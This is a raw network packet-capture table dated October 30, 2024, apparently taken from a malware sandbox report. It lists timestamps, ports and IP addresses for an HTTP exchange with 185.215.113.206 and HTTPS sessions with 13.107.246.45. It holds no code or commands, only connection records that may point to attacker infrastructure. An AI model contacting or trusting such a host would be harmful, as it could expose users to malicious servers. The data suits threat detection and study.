Oct 30, 2024 04:34:45.722580910 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722610950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722636938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722681999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722697020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722723007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722748041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722781897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722805023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722831011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722856998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722901106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722915888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722944021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.722963095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.722999096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.724756002 CET	51093	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.724771976 CET	443	51093	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.752270937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.752301931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.752350092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.752350092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.760138035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.760200977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.760215998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.760247946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.789508104 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.789554119 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.789623976 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.789659977 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.789706945 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.789762020 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.790487051 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.790488005 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.790504932 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.790525913 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792131901 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792166948 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792207956 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.792224884 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792248011 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792301893 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.792669058 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.792669058 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.792684078 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.792704105 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.797563076 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.797585011 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.797636986 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.799154997 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.799189091 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.799279928 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.799429893 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.799442053 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.799603939 CET	51095	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.799618006 CET	443	51095	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.805416107 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.805434942 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.805466890 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.805521011 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.805521965 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.806123972 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.806123972 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.806138992 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.806148052 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.811743021 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.811785936 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.811870098 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.812185049 CET	51096	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.812212944 CET	443	51096	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.828052998 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.829169035 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.829185009 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.829828024 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.829835892 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.842073917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842132092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842160940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842196941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842220068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842245102 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842291117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842338085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842353106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842381954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842406988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842451096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842464924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842498064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842520952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842567921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842598915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842658043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842686892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842721939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842745066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842772007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842797995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842839956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842854977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842890024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842907906 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842952013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.842966080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.842998981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843019009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843053102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843075991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843102932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843149900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843197107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843228102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843271017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843298912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843343973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843389034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843436956 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843463898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843511105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843525887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843554020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843596935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843632936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843687057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843708992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843732119 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843761921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843786001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843816042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843836069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843862057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843888044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843930006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.843947887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.843991041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844017029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844059944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844075918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844104052 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844127893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844171047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844185114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844212055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844238043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844285011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844300032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844329119 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844352961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844389915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844413042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844440937 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844465971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844508886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844523907 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844554901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844613075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844657898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844672918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844702005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844726086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844758987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844780922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844810009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844841003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844882965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844897985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844927073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.844952106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.844985962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845011950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845040083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845060110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845092058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845114946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845141888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845168114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845200062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845222950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845248938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845278978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845313072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845338106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845369101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845391989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845424891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845448017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845474958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845499992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845541954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845556974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845587969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845613003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845643044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845664978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845686913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845715046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845748901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845768929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845793009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845818996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845853090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845875978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845907927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.845927954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845963001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.845985889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846014977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846039057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846082926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846096992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846124887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846148968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846194983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846209049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846240997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846262932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846304893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846319914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846348047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846371889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846404076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846426010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846458912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846479893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846513987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846537113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846565962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846589088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846623898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846647024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846673965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846694946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846728086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846752882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846777916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.846805096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.846858978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.875646114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.875704050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.875725985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.875761986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.875782967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.875824928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.909317970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.909382105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.909396887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.909429073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.928023100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.928052902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.928076982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.928097963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.958416939 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.958430052 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.958473921 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.958486080 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.958519936 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.958769083 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.958781958 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.958796024 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.958800077 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.962189913 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.962223053 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.962277889 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.962527990 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.962538958 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.965290070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965348005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965368032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965420008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965441942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965476036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965498924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965523005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965553999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965598106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965627909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965679884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965723038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965768099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965795040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965840101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965867996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965912104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.965939045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.965995073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966022015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966068029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966093063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966136932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966165066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966193914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966214895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966237068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966286898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966334105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966361046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966402054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966429949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966466904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966485977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966509104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966561079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966604948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966623068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966665030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966694117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966727972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966748953 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966773033 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966799974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966845036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966860056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966890097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.966914892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966954947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.966970921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967000008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967022896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967068911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967099905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967128992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967150927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967175961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967220068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967264891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967293024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967336893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967358112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967403889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967432022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967477083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967504025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967549086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967576027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967622042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967637062 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967664957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.967693090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967725992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.967749119 CET	50987	80	192.168.2.6	185.215.113.206
